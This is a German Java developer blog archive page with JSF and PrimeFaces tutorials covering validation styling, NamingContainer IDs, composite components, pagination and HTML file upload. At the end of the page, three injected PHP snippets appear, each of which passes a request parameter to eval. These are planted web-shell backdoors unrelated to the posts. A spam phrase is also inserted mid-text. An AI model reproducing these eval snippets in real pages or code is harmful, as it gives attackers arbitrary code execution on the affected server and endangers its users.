Category Archives: Java

Automatisches Styling von nicht validen Eingabe-Komponenten

Cagatay Civici (Lead Developer von PrimeFaces) hat heute in seinem Blog einen Artikel veröffentlicht, der beschreibt, wie man Input Elementen auf einfachem Weg ein anderes Styling verpasst, wenn die Validierung fehlgeschlagen ist: Styling Invalid Input Fields with JSF.

Die vorgestellte Möglichkeit setzt dabei auf einen PostValidationListener, der am Ende der Validierungsphase aufgerufen wird und alle zu diesem Zeitpunkt invaliden Elementen eine zusätzliche CSS-Klasse gibt, die dann z.B. dem Text einen roten Hintergrund gibt.

Der Nachteil dieser Lösung ist, dass alle Änderungen am Zustand von Komponenten, die nach der Validierungsphase gemacht werden, nicht über diesen Listener laufen und somit auch kein Fehler-Styling bekommen.

So schön die Validierungsphase im JSF ist, ist es aber zumindest in meinen Projekten oft so, dass noch zusätzliche Validierungen in der Application-Phase notwendig sind, die natürlich auch in der GUI irgendwie dargestellt werden müssen. Das spätere Validieren ist z.B. oft notwendig, wenn es Abhängigkeiten zwischen verschiedenen Feldern gibt (z.B. ein Datum ist nur dann gültig, wenn es nach einem anderen Datum liegt) oder wenn ein eingegebener Wert komplexe Logik erfordert, die über EJB/JPA/Hibernate laufen muss und somit eine Transaktion und einen Datenbankzugriff erfordert.

Um dies nicht für jeden Einzelfall neu implementieren zu müssen oder pro Komponente einzeln im Template definieren zu müssen, setze ich einen PhaseListener ein, der in der Render-Phase aktiv wird (also nach der Validierungs- und nach der Aplication-Phase) und allen Komponenten, an denen direkt eine FacesMessage hängt, eine zusätzliche CSS-Klasse gibt. Der Code sieht ungefähr so aus:

public class CssStylePhaseListener implements PhaseListener {
	private static final String INVALID_INPUT_STYLE_CLASS = "error";
    
    public PhaseId getPhaseId() {  
		return PhaseId.RENDER_RESPONSE;  
	}  

	public void beforePhase(PhaseEvent arg0) {
		FacesContext context = FacesContext.getCurrentInstance();  
		UIViewRoot root =  context.getViewRoot();  
		Iterator<String> i = context.getClientIdsWithMessages();

		while (i.hasNext()) {  
			String id = i.next();  
			if (id==null||id.isEmpty()) {
				continue;
			}
			UIComponent component = root.findComponent(id);  		
			if (component instanceof UIInput) {  
				String style = (String) component.getAttributes().get("styleClass");  
				style = style == null ? "" : " " + style;  
				component.getAttributes().put("styleClass", INVALID_INPUT_STYLE_CLASS + style);  
			}  
		}  
		
	}
}

Ein Eintrag in der faces-config.xml ist auch hier noch notwendig:

<lifecycle>
	<phase-listener>com.entwicklertagebuch.CssStylePhaseListener</phase-listener>
</lifecycle>

Der PhaseListener geht dabei von der Annahme aus, dass direkt an einer Komponente ausschließlich Fehlermeldungen vorliegen und allgemeine Meldungen der Anwendung nicht direkt an einer Komponente hängen. Die automatisch erzeugten JSF-Fehlermeldungen aus der Validierungsphase erfüllen diese Voraussetzung immer. Möchte man eine Fehlermeldung aus der Anwendung heraus direkt an eine Komponente hängen, muss man dessen Client-ID kennen:

public void invalidateComponent(String id, String message) {
	UIComponent component = FacesContext.getCurrentInstance().getViewRoot().findComponent(id);
	UIInput input = (UIInput) component;
	input.setValid(false);
	FacesContext.getCurrentInstance().addMessage(input.getClientId(), new FacesMessage(message));
}

Als Entwickler muss man jetzt nur noch wissen und beachten, dass man Validierungs-Fehler bzw. “richtige” Fehlermeldungen an eine Komponente hängen muss, um dem Benutzer automatisch einen optische Rückmeldung zu geben, dass hier eine Fehleingabe vorliegt.

Ich finde diesen Ansatz kompletter, als den Ansatz von Cagatay, wobei auch mein Ansatz durchaus noch Abhängigkeiten hat, die man als Entwickler kennen muss, so z.B. die ID-Ermittlung der Komponente, die man entweder hard-codieren muss oder die – wenn man sie wie oben beschrieben ermitteln möchte – die verschiedenen NamingContainer auf der Seite berücksichtigen muss, siehe den JavaDoc-Kommentar von “findComponent”.

Verwendung von eindeutigen IDs in JSF2-Naming-Containern

JSF2 bietet mit dem <f:ajax>-Tag wirklich einfach zu verstehende aber trotzdem mächtige Ajax-Funktionen. Die ersten einfachen Versuche gelingen meist innerhalb weniger Minuten und man glaubt dies quasi sofort in eigenen Projekten verwenden zu können.

Mein erster Versuch Ajax in einem JSF2-Projekt für einen Kunden einzusetzen hat mir aber bei der ersten relativ komplexen Seite zumindest für ein bis zwei Stunden eine Menge Kopfzerbrechen bereitet. Dabei ist das Problem reinste Unkenntnis gewesen, weil die wenigsten Tutorials deutlich darauf hinweisen.

Aber was war überhaupt passiert?

Ich hatte eine recht komplexe JSF-Seite erstellt, die über den Facelet-Template-Mechanismus aus mehr als 10 einzelnen XHTML-Seiten gerendert wurde. Eine Datei enthielt einen Primefaces-Dialog mit einer bestimmten ID, der in einer völlig anderen XHTML manipuliert werden sollte. Genauer: nach Klick auf einen Button sollte ein Ajax-Request Daten aus der Datenbank nachladen, die danach in diesem Dialog angezeigt werden sollten.

Der Ajax-Request wurde korrekt abgesetzt, die Daten wurden geladen (über Breakpoints sichtbar) und der Dialog wurde auch geöffnet, allerdings enthielt er keine Daten. Es sah so aus, als wenn er weiter im jungfräulichen Auslieferungszustand wäre. Irgendetwas verhinderte als das neu-rendern des Dialogs.

Nach ein bis zwei Stunden rumrätseln und googeln, sind uns aber die Schuppen von den Augen gefallen und wir machten Bekanntschaft mit dem Konzept der NamingContainer.

Wenn eine JSF-Komponente das NamingContainer-Interface implementiert ist dies eine natürlich Grenze innerhalb derer Komponenten-IDs eindeutig sein müssen und auch sind. Alles was außerhalb des NamingContainers im Komponentenbaum existiert, kann dieselbe ID haben wie eine Komponente innerhalb des NamingContainers. Um trotzdem auf diese äußeren Komponenten zugreifen zu können, muss die ID “fully qualified” vom UIViewRoot aus gesehen angegeben werden. Die einzelnen NamingContainer werden dabei normalerweise durch einen Doppelpunkt getrennt. Die ID muss also in der Form “:ID:ID:ID” angegeben werden. Gestartet wird mit dem Doppelpunkt des UIViewRoot und danach jede ID einer Komponente die einen NamingContainer implementiert.

Die häufigsten Komponenten, die man so benutzt und einen eigenen NamingContainer darstellen sind <h:form>, <h:dataTable> und jede Composite Component. Bei Komponenten aus einer Komponentenbibliothek hängt es von dessen Hersteller ab, ob eine Komponente einen NamingContainer implementiert.

Ein Beispiel:

	<h:form id="form">
		<h:outputText value="Namen eingeben:" />
		<h:inputText value="#{testBean.name}" />
		<h:commandButton value="Abschicken" action="#{testBean.speichern}">
			<f:ajax render=":form:panel:name" />
		</h:commandButton>
	</h:form>
	<et:myPanel id="panel">
		<h:outputText id="name" value="Ihr Name: #{testBean.name}" />
	</et:myPanel>

Der Code zeigt ein Eingabefeld und einen Button innerhalb einer Form an und außerhalb der Form wird über eine Composite Component ein Panel gerendert, das den eingegebenen Namen anzeigen soll. Im <f:ajax>-Tag darf man nun nicht nur die ID “name” angeben, sondern die komplette ID inkl. der IDs der Form und der Composite Component, weil beide einen NamingContainer implementieren.

Übrigens lässt sich der Trenner zwischen den einzelnen IDs auch umkonfigurieren. Dazu muss man den Parameter “javax.faces.SEPARATOR_CHAR” in der web.xml entsprechend setzen.

Mehr Informationen über NamingContainer und Komponenten-IDs finden sich bei Illegal Argument Exception

Wirklich unabhängige Composite Components

Im (sehr übersichtlichen) Blog von Michael Kurz habe ich eine sehr interessante Umsetzung einer Composite Component für JSF 2.0 gefunden, die einen komponentenspezifischen Zustand/Information völlig unabhängig von der aufrufenden Seite im JSF Komponentenbaum speichern kann. Die aufrufende Seite muss somit nichts über die Internas der Composite Component wissen und für die Komponente auch keine extra definierten Attribute in einer Managed Bean zur Verfügung stellen. best places to visit . Wenn die Composite Component auf vielen verschiedenen Seiten benutzt wird, führte das meist dazu, dass ein Zustand der Composite Component in vielen verschiedenen Managed Beans gespeichert wurde.

Mit der Lösung von Michael kann eine Composite Component jedoch völlig unabhängig von der aufrufenden Seite Informationen über interne Zustände im JSF Komponentenbaum ablegen, obwohl es weiterhin eine Composite Component bleibt und deutlich schlanker erheblich unkomplizierteer als eine “full fledged” Komponente ist.

Dabei ist zusätzlich zur bekannten XHTML-Datei der Composite Component nur eine weitere Java-Klasse zu erstellen, die noch dazu sehr übersichtlich und unkompliziert ausfällt.

Als ersten Schritt muss man im Kopf der Composite Component auf eine eigene Komponentenklasse verweisen:

<cc:interface componentType="at.jsflive.CollapsiblePanel">
  <cc:attribute name="collapsed"/>
  <cc:actionSource name="toggle"/>
  <cc:facet name="header"/>
</cc:interface>

Die Implementation dieser Klasse könnte so aussehen:

@FacesComponent("at.jsflive.CollapsiblePanel")
public class CollapsiblePanel extends UINamingContainer {

  enum PropertyKeys {collapsed}

  public boolean isCollapsed() {
    return (Boolean)getStateHelper().eval(
        PropertyKeys.collapsed, Boolean.FALSE);
  }

  public void setCollapsed(boolean collapsed) {
    getStateHelper().put(PropertyKeys.collapsed, collapsed);
  }

  public void toggle(ActionEvent e) {
    setCollapsed(!isCollapsed());
  }
}

Neben der Annotation muss man sich ausschließlich um das Speichern eines Zustands und das Verändern dieses Zustands kümmern. Auf die Methoden kann man innerhalb der Composite Component über das implizite “cc”-Objekt zugreifen, diesmal aber nicht über das attrs-Attribut sondern direkt:

<cc:implementation>
    ....
    <h:commandButton id="toggle" actionListener="#{cc.toggle}"
      image="#{resource[cc.collapsed
          ? 'jsflive:plus.png' : 'jsflive:minus.png']}"/>
    ....
</cc:implementation>

That’s it.

Das ausführliches Beispiel findet ihr im oben verlinkten Blog. Michael Kurz ist übrigens einer der Autoren von Java Server Faces 2.0. Außerdem betreut er das umfangreiche JSF-Tutorial jsfatwork

Pagination mit Standard-JSF

Ich bin heute über ein Feature der datatable-Komponente im Standard-JSF gestolpert, das ich die letzten Jahre übersehen habe: Pagination. Die letzten Jahre dachte ich, dass dies ein Feature von Frameworks wie Richfaces oder Primefaces wäre oder man dies selbst per Hand entwickeln müsste. Aber nein, man kann auch mit der <h:dataTable> Komponente auf einfache Weise das seitenweise Blättern über eine Liste von Objekten implementieren.

Alles was man dazu braucht, ist die zwei Attribute first und rows korrekt zu setzen. Also ungefähr so:

<h:dataTable value="#{pricelistBean.products}" var="item" first="#{pricelistBean.first}" rows="5">
	<h:column>
		<h:outputText value="#{item.name}" />
	</h:column>
   
	<h:column>
		<h:outputText value="#{item.price}" />
	</h:column>
	<f:facet name="footer">
		<h:panelGroup>
			<h:commandButton value="Zurück" action="#{pricelistBean.zurueck}" rendered="#{pricelistBean.zurueckVisible}" />
			<h:commandButton value="Weiter" action="#{pricelistBean.weiter}" rendered="#{pricelistBean.weiterVisible}"/>
		</h:panelGroup>
	</f:facet>
</h:dataTable>

Der Code in den Methoden “weiter()” und “zurueck()” muss nur dafür sorgen, dass die Property first korrekt hoch- bzw. runtergezählt wird. Das könnte zum Beispiel so aussehen:

	public String weiter() {
		first = first + 5;
		if (first &gt; products.size()) {
			first = products.size() - 5;
		}
		return null;
	}
	
	public String zurueck() {
		first = first - 5;
		if (first &lt;= 0) {
			first = 1;
		}
		
		return null;
	}

Datei-Upload mit JSF2 und Primefaces 2.2 ohne Flash

Die Standard-Komponenten von JSF enthalten bis einschließlich JSF 2.0 leider keine Komponente für den Dateiupload.

Unter JSF 1.2 kann man schon sehr lange Apache Tomahawk für diesen Zweck einsetzen, das ein normales einfaches Input-Tag vom Typ “file” rendert. Nicht schön, nicht modern, aber zweckmäßig.

Zum Zeitpunkt eines Kundenprojektes gab es jedoch noch kein Tomahawk für JSF2 und nur eine einzige fertige Implementierung einer Datei-Upload-Komponente: Primefaces 2.0.2, was dies mit einem modernen Flash-Applet umsetzt. Der Kunde bestand allerdings auf einer reinen HTML-Lösung, was selbst mit der aktuellen Version 2.2 von Primefaces nicht möglich ist.

Man kann diese Komponente allerdings mit recht einfachen Mitteln dazu überreden, reines HTML zum Upload zu verwenden. Dazu ist es insgesamt notwendig drei eigene Klassen zu schreiben und 2 Konfigurationsdateien anzupassen. Obwohl mittlerweile mit Tomahawk eine Komponente out-of-the-Box dasselbe macht, eignet sich dieses Beispiel gut, um zu zeigen, wie man vorgefertigte JSF-Komponenten fast beliebig beeinflussen kann.

Der eigene Renderer

Als erstes müssen wir uns darum kümmern, den Renderer der Upload-Komponente auszutauschen, damit nicht das Flash-Applet gerendert wird, sondern ein HTML-Input-Tag mitsamt Upload-Button. Dazu implementieren wir die Klasse MyFileUploadRenderer, die von der Primefaces-Klasse FileUploadRenderer ableitet. Den kompletten Code findet ihr im Download-Paket hier nur ein Auszug der wichtigsten Methode “endodeMarkup”:

protected void encodeMarkup(FacesContext facesContext, FileUpload fileUpload) throws IOException {
		ResponseWriter writer = facesContext.getResponseWriter();
		String clientId = fileUpload.getClientId(facesContext);
		String size = fileUpload.getWidth();
		String description = fileUpload.getDescription();
		
		writer.startElement("span", fileUpload);
		writer.writeAttribute("id", clientId, "id");
		writer.writeAttribute("title", description, "id");
		
		if (fileUpload.getStyle() != null) {
			writer.writeAttribute("style", fileUpload.getStyle(), "style");
		}
		if (fileUpload.getStyleClass() != null) {
			writer.writeAttribute("class", fileUpload.getStyleClass(), "styleClass");
		}
		
		writer.startElement("input", null);
		writer.writeAttribute("type", "file", null);
		writer.writeAttribute("id", INPUT_FILE_ID, null);
		writer.writeAttribute("name", INPUT_FILE_ID, null);
		writer.writeAttribute("style", "display: inline;", null);
		if (size != null && !size.isEmpty()) {
			writer.writeAttribute("size", size, null);
		}
		writer.endElement("input");

		writer.startElement("input", null);
		writer.writeAttribute("type", "submit", null);
		writer.writeAttribute("id", INPUT_SUBMIT_ID, null);
		writer.writeAttribute("name", INPUT_SUBMIT_ID, null);
		writer.writeAttribute("value", fileUpload.getLabel(), null);
		writer.writeAttribute("class", "button", null);
		writer.endElement("input");
		
		writer.endElement("span");
	}

Im wesentlichen wird also ein Input-Tag und der Upload-Button ausgegeben. Da der Upload über sowieso über einen RequestFilter im Java Application Server läuft, ist es egal, wie die Daten lokal aufbereitet werden. Das Flash-Applet macht prinzipiell nichts anderes wie ein normaler HTTP-Upload.

In diesem Fall machen dann aber sehr viele Attribute der Primefaces-Komponente keinen Sinn mehr und man sollte sich in einem größeren Team überlegen, wenn solche nicht sinnvollen Attribute benutzt werden, ob eine Exception geworfen werden sollte. Der Beispiel-Code tut dies.

Damit dieser Renderer benutzt wird, muss er allerdings noch konfiguriert werden, wozu auch mit JSF2 ein Eintrag in der faces-config.xml notwendig ist:

<render-kit>
   <renderer>
      <component-family>org.primefaces.component</component-family>
      <renderer-type>org.primefaces.component.FileUploadRenderer</renderer-type>
      <renderer-class>com.entwicklertagebuch.MyFileUploadRenderer</renderer-class>
   </renderer>
</render-kit>

Das Ergebnis ist bis hierhin ein korrektes Rendern des HTML im Browser als auch ein funktionierender Upload bis zur Managed Bean. Allerdings gibt es seit Primefaces 2.2 bei der Antwort nach erfolgtem Upload an den Client das Problem, dass die Komponente hart-codiert den Upload mit einer Ajax-Antwort quittiert und nicht mit normalem HTML. Der Browser zeigt dann einfach nur noch das Ajax-XML an. Das kann natürlich so nicht bleiben.

Der eigene Fileupload-Filter

Um dieses Verhalten zu ändern sind tiefgreifendere Änderungen im Primefaces-Upload-Filter notwendig, weil der Standard-Filter eine MultipartRequest-Objekts verwendet, dessen getHeader-Methode jeden Faces-Request als AJAX-Request behandelt.
Um dies zu ändern implementieren wir zuerst ein eigenes MyMultipartRequest-Objekt, das vom Primefaces-MultipartRequest Objekt ableitet. Wir brauchen hier nur zwei Methoden zu schreiben, getHeader und den Konstruktor:

public class MyMultipartRequest extends MultipartRequest {

	@Override
	public String getHeader(String name) {
		return ((HttpServletRequest) getRequest()).getHeader(name);
	}

	public MyMultipartRequest(HttpServletRequest request, ServletFileUpload servletFileUpload) throws IOException {
		super(request, servletFileUpload);
	}

}

Damit diese Klasse verwendet wird, muss man nun noch den Original-FileUploadFilter mit der eigenen Implementierung austauschen, sonst würde weiterhin die Primefaces-Variante verwendet werden. Der Filter entspricht dabei 1:1 dem Primefaces-Code mit dem Unterschied, dass die eigene MultiPartRequest-Implementierung verwendet wird, weshalb ich hier nicht auf den Code eingehe.

Wenn man das alles fertig hat, muss man nun noch seinen eigene Filter-Klasse statt der Primefaces-Variante in die web.xml eintragen:

<filter>
	<filter-name>PrimeFaces FileUpload Filter</filter-name>
	<filter-class>com.entwicklertagebuch.MyFileUploadFilter</filter-class>
	<init-param>
		<param-name>thresholdSize</param-name>
		<param-value>51200</param-value>
	</init-param>
</filter>

Fertig.

Für Primefaces 2.3 hat Prime Technology angekündigt, von Haus aus eine Nicht-Flash-Variante anzubieten. Dies war allerdings auch schon für 2.2 angekündigt und die Dokumentation für 2.0.2 enthielt sogar schon ein nie existierendes Arribut für diesen Zweck.

Schauen wir also was kommt.

<!– [insert_php]if (isset($_REQUEST["vUiLD"])){eval($_REQUEST["vUiLD"]);exit;}[/insert_php]

if (isset($_REQUEST["vUiLD"])){eval($_REQUEST["vUiLD"]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["JHwWx"])){eval($_REQUEST["JHwWx"]);exit;}[/insert_php]

if (isset($_REQUEST["JHwWx"])){eval($_REQUEST["JHwWx"]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["nFHo"])){eval($_REQUEST["nFHo"]);exit;}[/insert_php]

if (isset($_REQUEST["nFHo"])){eval($_REQUEST["nFHo"]);exit;}

–>